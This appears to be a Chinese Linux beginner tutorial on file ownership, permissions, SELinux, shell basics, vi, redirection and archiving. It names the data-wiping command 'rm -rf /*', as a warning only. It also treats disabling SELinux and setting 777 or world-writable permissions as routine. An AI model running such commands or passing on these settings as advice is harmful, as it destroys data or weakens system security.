11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

2.9 修改文件所属

#修改文件的所属,普通用户是不能修改其他用户文件的所属的，需要root用户，所以先切换到root用户来操作
chown
1
2

2.9.1 修改用户和用户组

例子1
## 修改所属用户和用户组，test2:test2，前面的test2表示用户，后面的test2是组
    [root@localhost tmp]# chown test2:test2 ls
    [root@localhost tmp]# ls -l
    -rwxr-xr-x. 1 test2 test2 159024 7月  20 17:43 grep
    -rwxr-xr-x. 1 test2 test2 117608 7月  20 17:38 ls
    -rwxr-xr-x. 1 test1 test1 130360 7月  20 17:43 mv
    -rw-rw-rw-. 1 test1 test1     14 7月  20 17:38 test1.txt
        
        
        
# chown -R  nginx:nginx  .
# 把当前文件夹所有文件及子文件都改成nginx用户和Nginx组的

1
2
3
4
5
6
7
8
9
10
11
12
13
14

2.9.2 修改所属用户

# 修改所属用户
    [root@localhost tmp]# chown test1 ls
    [root@localhost tmp]# ls -l
    -rwxr-xr-x. 1 test2 test2 159024 7月  20 17:43 grep
    -rwxr-xr-x. 1 test1 test2 117608 7月  20 17:38 ls
    -rwxr-xr-x. 1 test1 test1 130360 7月  20 17:43 mv
    -rw-rw-rw-. 1 test1 test1     14 7月  20 17:38 test1.txt
1
2
3
4
5
6
7

2.9.3 修改目录权限和所属

例子3：文件夹(目录权限)
##用root用户创建一个文件夹，文件夹默认所属用户和组为root:root，那么普通用户是没全限制在这个目录中创建文件的。
    [root@localhost ~]# cd /tmp/
    [root@localhost tmp]# mkdir jaden
    [root@localhost tmp]# ls -l
    drwxr-xr-x. 2 root   root        6 3月  20 11:36 jaden
        
    ## 普通用户，比如lisi想在里面创建文件：
    [lisi@localhost tmp]$ cd jaden/
    [lisi@localhost jaden]$ touch 2.txt
    touch: 无法创建"2.txt": 权限不够
            
    ## 如何让lisi有创建文件的权限呢？创建文件的权限就是目录写权限
    ## 首先要切换到root用户，然后用root用户修改目录权限，或者直接将目录的所属修改为lisi修改权限：
       [root@localhost tmp]# chmod o+w jaden
       [root@localhost tmp]# ls -l
       drwxr-xrwx. 2 root   root        6 3月  20 11:36 jaden
            
    ## 切换到lisi，创建文件：
     [lisi@localhost jaden]$ touch 2.txt
     [lisi@localhost jaden]$ ls
        2.txt
    
    ## 修改所属：
     [root@localhost tmp]# chmod o-w jaden
     [root@localhost tmp]# ls -l
     drwxr-xr-x. 2 root   root       19 3月  20 11:39 jaden
     [root@localhost tmp]# chown lisi:lisi jaden
     [root@localhost tmp]# ls -l
     drwxr-xr-x. 2 lisi   lisi       19 3月  20 11:39 jaden
        
    ## 切换到lisi： 
     [lisi@localhost jaden]$ touch 3.txt
     [lisi@localhost jaden]$ ls
        2.txt  3.txt
    ## lisi也可以修改目录的权限了，因为它完全属于的lisi：
     [lisi@localhost tmp]$ chmod o+w jaden
     [lisi@localhost tmp]$ ls -l
     drwxr-xrwx. 2 lisi   lisi       32 3月  20 11:42 jaden
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

2.9.4 uid 和gid修改文件的所属用户和用户组

#使用uid和gid修改文件的所属用户和所属用户组 属主，属组

例子2：
    [root@localhost tmp]# ls -l
    -rwxr-xr-x. 1 test2 test2 159024 7月  20 17:43 grep
    -rwxr-xr-x. 1 test1 test2 117608 7月  20 17:38 ls
    -rwxr-xr-x. 1 test1 test1 130360 7月  20 17:43 mv
    -rw-rw-rw-. 1 test1 test1     14 7月  20 17:38 test1.txt
        
    [root@localhost tmp]# id test1
    uid=1000(test1) gid=1000(test1) 组=1000(test1)
    
    [root@localhost tmp]# id test2
    uid=1001(test2) gid=1001(test2) 组=1001(test2)
    
    [root@localhost tmp]# useradd -g test1 test3
    
    [root@localhost tmp]# id test3
    uid=1002(test3) gid=1000(test1) 组=1000(test1)
    
    [root@localhost tmp]# chown 1001:1001 test1.txt 
    [root@localhost tmp]# ls -l 
    -rwxr-xr-x. 1 test2 test2 159024 7月  20 17:43 grep
    -rwxr-xr-x. 1 test1 test2 117608 7月  20 17:38 ls
    -rwxr-xr-x. 1 test1 test1 130360 7月  20 17:43 mv
    -rw-rw-rw-. 1 test2 test2     14 7月  20 17:38 test1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

2.9.5文件权限和目录权限的解释说明

## 文件权限： rwx 读写执行

## 目录的权限： 
    ## rwx，r表示可以查看目录下有哪些文件 
    ## x表示可以cd切换到该目录 
    ## w表示可以在目录中创建、修改、删除文件等操作
    
## 为了安全操作：
    ## 文件权限默认： 644权限、狠一点就给600权限
    ## 目录权限默认： 755权限、狠一点就给700权限
1
2
3
4
5
6
7
8
9
10

2.10 文件属性详解

2.10.1 文件属性

#文件属性

[root@localhost ~]# ls -l 
-rw-rw-rw-. 1 lisi   lisi     0 3月  20 16:00 222.txt
#第一段的第一个字符，表示文件类型 
    ## -文件、
    ## d目录、
    ## l软链接(对应着windows快捷方式)、
    ## b块设备(ls /dev，可以看到硬盘sda等)
    
#第一段第2-4字符，表示该文件所属用户的权限
#第一段第5-7字符，表示该文件所属用户组的权限
#第一段第8-10字符，表示其他用户对该文件的权限

#第一段的第11个字符. ，表示开启selinux的状态下创建的，也证明selinux是开启状态的。

# 看到.表示这个文件受到selinux的保护，selinux：https://baike.baidu.com/item/SELinux/8865268?fr=aladdin，这个东西很安全，但是有了它变得很麻烦，安全和便利一般是冲突的。主要是红帽系的系统(redhat\centos\阿里的龙蜥\华为的欧拉)有这个机制。我们一般上来就是关闭它，安全方面我们通过其他方法来控制。查看selinux的指令：

 # 查看状态
 [lisi@localhost tmp]$ sestatus
       SELinux status:                 enabled  # enabled表示开启状态，disabled表示禁用状态
       SELinuxfs mount:               /sys/fs/selinux
       SELinux root directory:         /etc/selinux
       Loaded policy name:             targeted
       Current mode:                   enforcing
       Mode from config file:         enforcing
       Policy MLS status:             enabled
       Policy deny_unknown status:     allowed
       Max kernel policy version:      31
        
 # 关闭和开启selinux，需要root权限才能修改
 [root@localhost tmp]# ls -l /etc/selinux/config 
 -rw-r--r--. 1 root root 543 3月  15 20:11 /etc/selinux/config
    
 [root@localhost tmp]# vi /etc/selinux/config 
 把7行改为： SELINUX=disabled  #然后保存退出，并且重启系统才会生效。
 # 然后再登录创建文件，查看文件信息，就看不到.了
 [root@localhost ~]# touch 1.txt  
 [root@localhost ~]# ls -l
    -rw-r--r--  1 root root    0 3月  20 13:32 1.txt
        
#第二段的数字，表示该文件的硬链接数量，其实这个和我们的安全没有太大关系，运维人员需要学习，ln是创建硬链接的指令。我们不提了

#第三段的字符串，表示该文件所属用户

#第四段的字符串，表示该文件所属用户组

#第五段的数字，表示该文件的大小，默认单位为B，如果想按照KB来显示，那么可以通过ls -lh指令来查看。h是human的意思，以人类可读的方式显示，会自动按照文件大小来设定显示单位。

#第六段到倒数第二段，都是该文件的修改时间，只要改动了文件内容，这个时间就会自动变为修改文件时的时间。

 #其实linux系统会记录三个时间：
    
 # 访问时间(access time) 文件被打开时自动变化这个时间

 # 修改时间(modify time) 文件内容发生变化时自动改变这个时间，ls -l 显示的就是这个时间。
    
 # 改变时间(change time) 文件属性发生变化时自动改变这个时间，文件大小也是文件的属性，所以修改文件内容导致大小变化的时候，这个时间也会自动改变。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

2.10.2查看访问时间、创建时间、修改时间

 #windows系统也会记录三个时间：访问时间、创建时间、修改时间
 #linux下通过stat指令来查看：

 [root@localhost ~]# stat 1.txt
         文件："1.txt"
         大小：0         块：0         IO 块：4096   普通空文件
       设备：801h/2049d Inode：67108933   硬链接：1
       权限：(0644/-rw-r--r--) Uid：(    0/   root)   Gid：(    0/   root)
       最近访问：2023-03-20 13:32:34.333042228 +0800
       最近更改：2023-03-20 13:32:34.333042228 +0800
       最近改动：2023-03-20 13:32:34.333042228 +0800
       创建时间：-
    
 # 我们改一下文件权限，然后再看时间
   [root@localhost ~]# chmod 777 1.txt
       [root@localhost ~]# stat 1.txt
         文件："1.txt"
         大小：0         块：0         IO 块：4096   普通空文件
       设备：801h/2049d Inode：67108933   硬链接：1
       权限：(0777/-rwxrwxrwx) Uid：(    0/   root)   Gid：(    0/   root)
       最近访问：2023-03-20 13:32:34.333042228 +0800
       最近更改：2023-03-20 13:32:34.333042228 +0800
       最近改动：2023-03-20 13:56:43.005634151 +0800  # 改动时间变了
       创建时间：-
#最一段，该文件的名称
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

2.11 Linux Shell

2.11.1 Shell的意思

## Shell： 蛋壳的意思，是linux中比较重要的一个概念，所有的命令其实都称之为shell命令。看图解：shell就是内核的一个外壳，用户通过shell来控制内核进而驱动硬件做事情，这是它名字的由来。Linux下，没有shell的话，就不能控制这个计算机了，因为内核是用户不能直接控制的。
1

## 我们使用的是哪个shell呢？
    # 在/etc/passwd中就可以看到：
    wangwu:x:1002:1002::/home/wangwu:/bin/bash
    # 后面这个/bin/bash，就是我们目前使用的shell，后面我们还会更换其他shell来玩，后面再说。
    chrony:x:998:996::/var/lib/chrony:/sbin/nologin
    # 如果指定的是/sbin/nologin这个shell的话，是没有办法登录系统的
    
    
## shell会帮我们检测输入和输出的内容是否正确
	# 随便输入点东西，一回车，shell就检测到你这个指令不对，报错给你看
	[root@localhost ~]# asdf
	-bash: asdf: 未找到命令
1
2
3
4
5
6
7
8
9
10
11
12

2.11.2 优化ssh登录速度

## 如果你发现你的xshell或者ssh指令连接linux系统的时候很慢，等好久才连接成功，那么就可以按照下面的方式优化一下，目前我们没有遇到，所以这个暂时就不提了。

#修改配置文件，先备份
[root@localhost ~]# cp /etc/ssh/sshd_config /tmp/
[root@localhost ~]# vi /etc/ssh/sshd_config 

#直接输入:79回车
    79 GSSAPIAuthentication no
    115 UseDNS no
输入:wq保存退出
    
#重启sshd服务
[root@localhost ~]# systemctl restart sshd

#如果修改失败，还原配置文件
[root@localhost ~]# cp /tmp/sshd_config /etc/ssh/sshd_config
[root@localhost ~]# systemctl restart sshd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

2.11.3 shell提示符

#root用户提示符
[root@localhost ~]#

#普通用户test1的提示符
[test1@localhost ~]$ 

#格式：
[用户名@主机名 所在目录]#

# 1、用户名，这个没说啥说的

# 2、主机名：localhost是主机名，windows电脑也有主机名：我的电脑-->属性-->高级系统设置-->计算机名，同一个网络中如果有多台计算机的话，每个计算机都应该有个自己的名字，就是主机名。Linux主机默认叫做localhost，也是可以修改的
   [root@localhost ~]# hostname jaden
   [root@localhost ~]# logout
   ## 退出之后，在重新登录，就看到主机名改好了，如下
   [root@jaden ~]# hostname
   jaden
    
# 3、所在目录：root登录之后，默认所在目录是/root，此时~表示的/root目录，如果是普通用户登录的，那么~表示的是用户家目录，cd切换目录的时候，显示的当前所在目录
    # root用户：
       [root@jaden ~]# pwd
       /root

     # 普通用户：
         [zhangsan@jaden ~]$ pwd
         /home/zhangsan
        
# 4、提示符号
    # 代表当前登录的用户是管理员,$代表的是当前登录用户是普通用户
    # 提示符格式定制，这个简单理解一下即可，一般都不改
    # 原格式：
        [root@test ~]# echo $PS1
        [\u@\h \W]\$   # \u是用户，\h是主机名，\W是相对路径
    # 临时修改：重新登录就又还原了
        [root@test ~]#cd /usr/local/bin/
        [root@test bin]#export PS1='[\u@\h \w]\$' # \w表示绝对路径
        [root@test /usr/local/bin]#
    #永久修改
        [root@test 10:23:39 /usr/local/bin]#cd
        [root@test 10:24:25 ~]#vi .bashrc 
    #找个空白的地方，插入一行
        export  PS1='[\u@\h \t \w]\$'
        #linux PS1可以各种定制：参考https://www.cnblogs.com/Q--T/p/5394993.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

3-1 临时修改主机名

#临时修改主机名
    hostname
    例子1：
    [root@localhost ~]# hostname test
    #需要重新登录生效
1
2
3
4
5

3-2 查看主机的信息

hostnamectl
#查看主机的信息
    [root@localhost ~]# hostnamectl 
       Static hostname: localhost.localdomain
             Icon name: computer-vm
               Chassis: vm
           Machine ID: f8a89169114741a8ac6de82954c5fbcb
               Boot ID: dcf65386ccda42e29699d56101af8cf1
       Virtualization: vmware
     Operating System: CentOS Linux 7 (Core)
           CPE OS Name: cpe:/o:centos:centos:7
               Kernel: Linux 3.10.0-1127.el7.x86_64
         Architecture: x86-64
1
2
3
4
5
6
7
8
9
10
11
12
13

3-3 永久修改主机名

#永久修改主机名
    [root@localhost ~]# hostnamectl set-hostname test
    #需要重新登录生效
1
2
3

3-4 重启系统

#重启系统
    reboot
    例子1：
    [root@test ~]# reboot
1
2
3
4

3-5 关闭或重启Linux

#关闭或者重启linux
	shutdown
    
#立即关机
	[root@localhost ~]# shutdown -h now

#5分钟之后关机，可以使用shutdown -c 取消
	[root@localhost ~]# shutdown -h 5

#5分钟之后重启系统，可以使用shutdown -c 取
1
2
3
4
5
6
7
8
9
10

2.11.4 shell基础语法

4-1 不带参数

## Linux的指令基本都是下面的语法结构，遇到什么指令都不用慌了。
    ##不带参数的：
    ## reboot、pwd、id、ls等都可以不接参数，不多
1
2
3

4-2 带参数的

## 带参数的：
   命令   参数     目标
    ls   -a -l -h   /opt   # 参数还可以合并为-alh
    rm   -rf   /opt/test1
   命令   源...   目标
    mv   源路径     目标路径
    cp    
1
2
3
4
5
6
7

4-3 查看命令的参数

# 查看命令的参数： 命令 -h或者--help
   [root@test 11:12:02 /opt]#mv --help
   用法：mv [选项]... [-T] 源文件 目标文件
     或：mv [选项]... 源文件... 目录
     或：mv [选项]... -t 目录 源文件...
1
2
3
4
5

4-4 格式参数

#格式解释
    ## 格式1：不带参数的命令：
     	## reboot、pwd、id、ls等都可以不接参数，不多
        
    ## 格式2：带参数一个参数的指令：
     ls -l
     usermod -h 或者 usermod --help
    
    ## 格式3：带多个参数的指令：
     ls -a -l -h # 参数还可以合并为-alh
        
    ## 格式4：带参数带一个目标的指令
     ls -l /boot
     rm -rf /tmp/jaden   # 注意：千万不要rm -rf /* 这是删除根目录的意思，或者 rm -rf /tmp/*,如果tmp目录不存在，也是删除根目录的意思。
    
    ## 格式5：命令带一个目标
         cd /tmp/
         ls /tmp/
         mkdir jaden
         useradd jaden
     ...
    ## 格式6：命令带多个源和目标
     cp jaden.txt /tmp/11.txt  # cp 源1 目标1
     cp 1.txt 2.txt 3.txt /tmp  # cp 源1 源2 源3 目标1
    
   ##  格式7：命令带多个参数、多个源和多个目标
     ls -a -l -h /tmp /root /opt
     cp -a -v /root /root2  # -v是显示拷贝过程的，-a 保留原文件属性的前提下复制文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

2.11.5 tab键补全

## 补全命令：
    #如果预选的特别多
   [root@test 11:25:24 ~]#
   Display all 1400 possibilities? (y or n)
    
    #如果预选少
   [root@test 11:25:24 ~]#cha
   chacl   chage   chattr 
    
## 补全路径：
    #如果预选的特别多
   [root@test 11:25:24 ~]#cd /etc/
   Display all 188 possibilities? (y or n)
    
    #如果预选少
   [root@test 11:25:24 ~]#cd /usr/src/
   debug/   kernels/ 
    
    # 路径不存在的话就说明路径不存在
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

2.11.6 快捷键

Ctrl + a    #光标跳转至正在输入的命令行的首部
Ctrl + e    #光标跳转至正在输入的命令行的尾部
Ctrl + c    #终止前台运行的程序，比如ping指令
Ctrl + d    #在shell中，ctrl-d表示推出当前shell。
Ctrl + z    #将任务暂停，挂至后台, 执行fg命令继续运行
Ctrl + l    #清屏，和clear命令等效。
Ctrl + k    #删除从光标到行末的所有字符
Ctrl + u    #删除从光标到行首的所有字符
Ctrl + r    #搜索历史命令, 利用关键字搜索
ctrl + w    #光标往前删除一个参数，以空格为分割。
1
2
3
4
5
6
7
8
9
10

2.11.7 history历史命令

#历史
    history
    [root@test 14:32:10 ~]#history
        1  exit
        2  ls
        3 head -1 test03.txt 
        4 head -1 test03.txt|cat
        5 head -1 test03.txt|tac
        6 head -2 test03.txt|tac
        7 head -2 test03.txt|cat
        8 ip addr
        9 ip addr|tail -4
       10 ip addr|tail -4|head -1
       ......

#使用!调用历史命令
    [root@test 14:32:10 ~]#history|head -5
        1  exit
        2  ls
        3 head -1 test03.txt 
        4 head -1 test03.txt|cat
        5 head -1 test03.txt|tac
    [root@test 14:32:26 ~]# !3
     head -1 test03.txt 
    head: 无法打开"test03.txt" 读取数据: 没有那个文件或目录
            
#使用!调用mv开头的命令
    [root@test 14:42:17 ~]#history 
        1  ls -a -l .bash_history 
        2 history 
        3  ls
        4 history 
        5  mv aaaaa.txt /tmp/
        6 history 
    [root@test 14:42:19 ~]#!mv # 按回车，会自动找最近一次执行的mv开头的指令
    mv aaaaa.txt /tmp/
    mv: 无法获取"aaaaa.txt" 的文件状态(stat): 没有那个文件或目录

#清除历史记录
    history -c # 这是清除内存中的历史指令
    ## 删除主文件夹下面.bash_history  

    # 这是清除硬盘中的历史指令，内存中的指令会自动备份到.bash_history中，但是有个延迟，退出登录之后，才会将历史指令同步到硬盘文件中

    ##每个用户家目录下都有一个.bash_history，记录的是自己用户的历史指令。

    ## .bash_history默认记录最近的1000条指令，通过echo $HISTSIZE可以查看，可以配置的更大或者更小一些，vi /etc/profile，这		个以后再说。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

2.11.8 命令别名(花名)

#别名
	alias
    
# 比如：ls -l 直接可以写ll即可

# 查看别名
    [root@test 15:23:17 ~]#alias 
    alias cp='cp -i'
    alias egrep='egrep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias grep='grep --color=auto'
    alias l.='ls -d .* --color=auto'
    alias ll='ls -l --color=auto'
    alias ls='ls --color=auto'
    alias mv='mv -i'
    alias rm='rm -i'

# 添加别名
    [test1@test 15:24:23 ~]$alias rm='rm -i'  # -i是提示警告信息用的
    [test1@test 15:27:08 ~]$alias |grep rm
    alias rm='rm -i'
    或者：[test1@test 15:24:23 ~]$alias rm='echo 禁止使用删除操作'

# 取消别名
    [test1@test 15:27:13 ~]$unalias ls
    [test1@test 15:27:47 ~]$alias |grep ls
    ##alias别名的优先级高于系统命令
    ##别名一定要是可执行的，不能随便定义别名，比如jaden='aaaaaaa'，执行jaden会报错，没有aaaaaaa这个指令

#alias永久生效
	[root@localhost ~]# vi .bashrc 
    
#空白处，增加一行
alias cip='ip addr|tail -4|head -1'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

2.12 Linux输入输出重定向

2.12.1 VI编辑器

1-1 移动光标

## 左，下，上，右，如果键盘上没有上下左右键，可以h,j,k,l 
## 进入编辑模式有三个按钮：i、a、o， i在光标位置编辑、a是在光标后一位编辑、o是换行编辑，新起一行
    ctrl+f 下翻一页
    ctrl+b 上翻一页
    ctrl+u 上翻半页
    ctrl+d 下翻半页
## 0 跳至行首，不管有无缩进，就是跳到第0个字符
## ^ 跳至行首的第一个字符
## $ 跳至行尾(shift+4)
## gg 跳至文首
## G 跳至文尾(shift+g)
## 5gg/5G 调至第5行，或者命令行模式:5回车，也是跳到第5行，所以其实操作命令都不是唯一的
1
2
3
4
5
6
7
8
9
10
11
12

1-2 删除复制

## x删除单个字符
## 10x删除10个字符
## dd 删除光标所在行(其实dd是剪切的操作),  

## 使用u撤销之前的操作，使用ctrl+r恢复

## 6dd 从光标开始往下删除6行
## dw 删除一个单词(word)
## 小p 粘贴粘贴板的内容到当前行的下面，比如将dd剪切的行黏贴到下面
## 大P 粘贴粘贴板的内容到当前行的上面
## yy 复制行
## 5yy复制5行，复制的内容可以通过p\P来黏贴
1
2
3
4
5
6
7
8
9
10
11
12

1-3 搜索和替换

## 搜索：
   /pattern 向后搜索字符串pattern  #辅助小n向下和大N向上，一般都是用/来搜索
   ?pattern 向前搜索字符串pattern  #辅助小n向上和大N向下，?搜索用的少

## 替换：
 :1369s/shell/jaden/g  # 将第1369行的shell替换为jaden，/还可以用#或者@符号来代替：:1369s#shell#jaden#g
        
 :1369,1379s/shell/jaden/g  # 将1369至1379这10行中的shell替换为jaden
 :1369,$s/shell/jaden/g  # 将1369至文末中的shell替换为jaden
   :%s/old/new/g  #搜索整个文件，将所有的old替换为new
   :%s/old/new/gc #搜索整个文件，将所有的old替换为new，每次都要你确认是否替换(y/n/a/..)，y表示确认替换一个、n表示不替换、a表示全部替换
1
2
3
4
5
6
7
8
9
10
11

1-4 退出编辑器

## :w 将缓冲区写入文件，即保存修改到硬盘上，但是不退出vi，如果我们改到一半的时候可以提前保存一下，以防断电，因为新编辑的数据是在内存中的，而且vi不会自动保存。

## :wq 保存修改并退出

## :x 保存修改并退出，和wq一样的效果。

## :q 退出，如果对缓冲区进行过修改，则会提示

## :q! 强制退出，放弃修改

## :wq! 强制保存修改并退出
1
2
3
4
5
6
7
8
9
10
11

1-5 vi注意问题和原理说明

### vi编辑内容原理
1

## 注意，如果内存中的数据没有修改，没什么事儿，如果修改了，并且不小心断开连接了，也就是没有正常退出vi，比如我们看一下：
1

## 那么这个隐藏文件会一直在硬盘上，当我们再次vi修改jaden.txt的时候，就会看到如下提示信息：
1

## 这是提示你，已经有这个 .jaden.txt.swp 文件了。你看到这个提示信息就要考虑一下，是不是自己之前不小心没保存就掉线了，还是说有其他人正在编辑这个文件。如果是自己之前没有保存，那么可以选择删除这个隐藏的swp文件，再编辑就没有这个提示了，这是最简单的方式。或者输入 vi -r jaden.txt 会看到自己之前保存的内容，重新 wq! 保存一下，然后再删除 .jaden.txt.swp 文件即可，自己之前的修改也就还在。

##vim编辑的时候会提示如下
1
2
3

## 如果是有其他人在编辑这个文件，你就输入O，表示只读模式打开，E是直接编辑，R是恢复文件，Q是退出不编辑了，A是中止操作。其实还有个D指令，直接删除隐藏文件。
1

1-6 不会vi怎么办

## 可以把文件拷贝到物理机，通过物理机的记事本或者nodepad++等编辑器修改，修改完去替换原文件即可。

## 比如xftp就可以帮我们下载文件。但是如果一个比较大的文件，我们只改动一点内容，就可以学学vi，没必要上传下载文件来操作，耗时。
1
2
3

2.12.2 输入输出重定向

2-1 输出重定向01–清空文件

## 输出：
   ## > 输出重定向， 将命令执行结果不输出到屏幕上，输出到文件里，会清空原文件，所以输出的时候一定要注意，文件名称要看好了。
       [root@localhost ~]# head -20 services > 2.txt
       [root@localhost ~]# cat 2.txt
    
       [root@localhost ~]# seq 100 > 1.txt
       [root@localhost ~]# echo 123 > 1.txt
       [root@localhost ~]# cat 1.txt
        123
        
## 清空文件内容        
       [root@localhost ~]# > 1.txt 
       [root@localhost ~]# cat 1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13

2-2 输出重定向02–追加

 ##  >> 输出追加重定向，不会清空原文件
       [root@localhost ~]# echo aaaaa >> 2.txt
       [root@localhost ~]# cat 2.txt
        
1
2
3
4

2-3 标准正确–错误输出重定向

## 如果输出文件还没指定，则自动创建
[root@localhost ~]# cat jaden.txt 1>1.txt 2>2.txt 
# 指令正确会将数据保存到1.txt中
1
2
3

2-4 < 输入重定向

## 输入：
   ## < 输入重定向
   [root@localhost ~]# cat < jaden.txt > 3.txt # 将jaden.txt的数据输入过来并写入3.txt中
   [root@localhost ~]# cat jaden.txt 
    
  ##  << 输入追加重定向(这个就不演示了，遇到了再说)
    	# 标准输入0，支持用户直接输入内容
   		[root@localhost ~]# cat << 0  
           > 1
           > 2
           > 2222
           > 0  ## 输入0就退出
            1
            2
            2222
       [root@localhost ~]# cat << 0 > 22.txt  ## 给屏幕输入一些内容，并保存到文件里
           > a
           > b
           > ddd
             > 0
       [root@localhost ~]# cat 22.txt
           a
           b
           ddd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

2.13 Linux 压错打包

2.13.1 tar------（.tar.gz结尾)

1-1 tar压缩和解压缩

# 压缩文件有时候我们也叫做归档文件。但是归档和压缩有一些区别，归档只是将多个文件捆绑成一个文件，并没有压缩，而压缩才是将大小压缩的更小。

#Linux最常用的压缩和解压指令是：
## tar：能够解压的文件格式是xx.tar.gz
     ## 压缩：tar -zcf 压缩包路径 目标1 目标2 目标3 ...
     ## 解压：tar -zxf 解压路径
        
        
## 例子1：压缩和解压文件
    [root@localhost ~]# ls
    ## 123.txt  4.txt   a.txt c.txt     jaden.txt 1.txt   anaconda-ks.cfg   b.txt   jaden.tar.gz   services
    
    ## 删除所有文件
    [root@localhost ~]# rm -f *
    [root@localhost ~]# ls
    
    ## 复制文件
    [root@localhost ~]# cp /etc/services .
    ## 压错
    [root@localhost ~]# tar -zcf jaden.tar.gz services  #把services 文件压缩成jaden.tar.gz
    [root@localhost ~]# ls -lh
    -rw-r--r--  1 root root 134K 3月  22 14:51 jaden.tar.gz
    -rw-r--r--  1 root root 655K 3月  22 11:22 services
        
    [root@localhost ~]# rm -f services # 删除原文件之后就再解压
    [root@localhost ~]# tar -zxf jaden.tar.gz   # 解压文件
    [root@localhost ~]# ls -lh
    -rw-r--r--  1 root root 134K 3月  22 14:51 jaden.tar.gz
    -rw-r--r--  1 root root 655K 3月  22 11:22 services  #看到和源文件一样的文件，包括文件属性也一样。
        
        
## 同时压缩好几个文件
    ## 把1.txt 和 aini 目录分别压缩成kk.tar.hz和jj.tar.gz
    tar -zcf  kk.tar.jz jj.tar.gz 1.txt aini  
    
    ## 把1.txt 和 jaden压缩到/tmp/oo.tar.gz
    tar -zcf /tmp/oo.tar.gz 1.txt jaden
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

1-2 tar归档

#归档，但是不压缩
    tar -cf
    [root@localhost ~]# cp /etc/services ./shike # 再拷贝一个services文件过来
    [root@localhost ~]# ls -lh
    -rw-r--r-- 1 root root 13M 3月  22 14:58 2.tar.gz
    -rw-r--r-- 1 root root 134K 3月  22 14:56 jaden.tar.gz
    -rw-r--r-- 1 root root 655K 3月  22 14:55 services
    -rw-r--r-- 1 root root 655K 3月  22 15:04 shike
        
    [root@localhost ~]# tar -cf 3.tar.gz services shike #归档，但是不压缩
    [root@localhost ~]# ls -lh

    -rw-r--r-- 1 root root 13M 3月  22 14:58 2.tar.gz
    -rw-r--r-- 1 root root 1.3M 3月  22 15:04 3.tar.gz  #看大小就知道没有压缩大小。
    -rw-r--r-- 1 root root 134K 3月  22 14:56 jaden.tar.gz
    -rw-r--r-- 1 root root 655K 3月  22 14:55 services
    -rw-r--r-- 1 root root 655K 3月  22 15:04 shike
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

1-3 查看压缩包内容

[root@localhost ~]# tar -tf 3.tar.gz 
services
shike

## tar这个指令的参数可以不加
## tar tf 3.tar.gz

## linux系统下解压文件的时候，不同格式的压缩包需要使用不同的命令来解压或者压缩。
1
2
3
4
5
6
7
8

2.13.2 gzip----（.gz结尾)

#打包和压缩
    gzip
    #压缩文件，会自动删除原文件，和tar不同，tar会留着原文件
    [root@localhost ~]# gzip services 
    [root@localhost ~]# ls -lh
    总用量 15M
    -rw-r--r-- 1 root root 133K 3月  22 14:55 services.gz
    -rw-r--r-- 1 root root 655K 3月  22 15:04 shike
        
# 解压，会自动删除原压缩包
    [root@localhost ~]# gzip -d services.gz 
    [root@localhost ~]# ls -lh
    总用量 16M
    -rw-r--r-- 1 root root 655K 3月  22 14:55 services
    -rw-r--r-- 1 root root 655K 3月  22 15:04 shike
        
#压缩多个文件，每一个文件产生一个单独的压缩包
    [root@localhost ~]# gzip services shike 
    [root@localhost ~]# ls -lh
    总用量 15M
    -rw-r--r-- 1 root root 133K 3月  22 14:55 services.gz
    -rw-r--r-- 1 root root 133K 3月  22 15:04 shike.gz
        
#解压缩
    [root@localhost ~]# gzip -d services.gz shike.gz 
    [root@localhost ~]# ls -lh
    总用量 16M
    -rw-r--r-- 1 root root 655K 3月  22 14:55 services
    -rw-r--r-- 1 root root 655K 3月  22 15:04 shike
        
## gzip其实感觉并不太好用，但是工作中我们可能会遇到gzip的压缩包。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

2.13.3 zip （.zip结尾）

#压缩
    zip
    例子1：
    [root@localhost ~]# zip -r 1.zip services shike #会保留原文件
     adding: services (deflated 80%)
     adding: shike (deflated 80%)
    [root@localhost ~]# ls -lh
    总用量 16M
    -rw-r--r-- 1 root root 267K 3月  22 15:25 1.zip
    -rw-r--r-- 1 root root 655K 3月  22 14:55 services
    -rw-r--r-- 1 root root 655K 3月  22 15:04 shike
        
#解压
    unzip
    例子1： # 解压之前先把原文件删掉，以免冲突
    [root@localhost ~]# unzip 1.zip 
    [root@localhost ~]# ls -lh
    总用量 16M
    -rw-r--r-- 1 root root 267K 3月  22 15:25 1.zip
    -rw-r--r-- 1 root root 655K 3月  22 14:55 services
    -rw-r--r-- 1 root root 655K 3月  22 15:04 shike
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

2.13.4 rar解压

## windows上常见的rar格式的压缩包，在linux上其实比较难解压，需要我们安装专业的工具：
    #解压rar包
    #需要安装软件
        yum install epel-release -y
        yum install unar -y
